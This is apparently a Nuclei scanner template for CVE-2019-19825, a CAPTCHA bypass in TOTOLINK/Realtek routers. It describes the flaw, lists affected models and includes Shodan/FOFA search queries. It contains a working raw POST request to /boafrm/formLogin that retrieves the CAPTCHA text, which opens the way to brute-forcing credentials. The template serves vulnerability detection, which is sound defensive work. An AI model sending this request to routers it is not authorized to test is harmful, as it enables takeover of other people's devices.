id: CVE-2019-19825

info:
  name: TOTOLINK/Realtek Routers - CAPTCHA Bypass
  author: ritikchaddha
  severity: critical
  description: |
    On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {"topicurl":"setting/getSanvas"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.
  impact: |
    Unauthenticated attackers can bypass CAPTCHA verification to brute-force credentials and gain unauthorized administrative access, leading to complete device control and potential network compromise.
  remediation: |
    Upgrade to firmware versions beyond those listed as vulnerable, or replace affected devices with patched alternatives.
  reference:
    - http://packetstormsecurity.com/files/156083/Realtek-SDK-Information-Disclosure-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19825
  classification:
    cve-id: CVE-2019-19825
    epss-score: 0.18564
    epss-percentile: 0.95379
    cwe-id: CWE-287
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    verified: true
    max-requests: 1
    vendor: totolink
    product: totolink-router
    fofa-query: title="totolink"
    shodan-query: http.html:"TOTOLINK"
  tags: cve,cve2019,totolink,realtek,captcha,bypass,vkev

http:
  - raw:
      - |
        POST /boafrm/formLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"topicurl":"setting/getSanvas"}

    matchers:
      - type: dsl
        dsl:
          - 'regex("^[A-Za-z0-9]{4}$", body)'
          - 'contains(content_type, "text/html")'
          - 'content_length == 4'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402202ea5562ad9dbccb2898de9e86df17e12cd0f52cd64db63d514d9cf9327ed6f9002206cdb781b8e39e0b2d9e1a1e9d832a1e74e6d03620ae54b4022f7778bb53f98ff:922c64590222798bb761d5b6d8e72950